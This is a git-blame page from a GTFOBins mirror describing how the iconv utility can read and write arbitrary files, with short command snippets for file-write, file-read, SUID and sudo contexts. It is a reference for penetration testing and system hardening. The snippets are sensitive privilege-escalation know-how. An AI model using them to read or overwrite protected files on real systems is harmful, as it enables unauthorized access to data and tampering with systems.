1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-16 17:01:38 +02:00
GTFOBins.github.io/_gtfobins/iconv.md

21 lines
601 B
Markdown
Raw Permalink Normal View History

2020-03-15 05:23:32 +01:00
---
2020-03-15 11:57:20 +01:00
description: The `8859_1` encoding is used as it accepts any single-byte sequence, thus it allows to read/write arbitrary files. Other encoding combinations may corrupt the result.
2020-03-15 05:23:32 +01:00
functions:
file-write:
2020-03-15 11:57:20 +01:00
- code: |
2020-03-15 05:23:32 +01:00
LFILE=file_to_write
2020-03-15 11:57:20 +01:00
echo "DATA" | iconv -f 8859_1 -t 8859_1 -o "$LFILE"
2020-03-15 05:23:32 +01:00
file-read:
2020-03-15 11:57:20 +01:00
- code: |
2020-03-15 05:23:32 +01:00
LFILE=file_to_read
2020-03-15 11:57:20 +01:00
iconv -f 8859_1 -t 8859_1 "$LFILE"
2020-03-15 05:23:32 +01:00
suid:
- code: |
LFILE=file_to_read
2020-03-15 11:57:20 +01:00
./iconv -f 8859_1 -t 8859_1 "$LFILE"
2020-03-15 05:23:32 +01:00
sudo:
- code: |
LFILE=file_to_read
2020-03-15 11:57:20 +01:00
./iconv -f 8859_1 -t 8859_1 "$LFILE"
2020-03-15 05:23:32 +01:00
---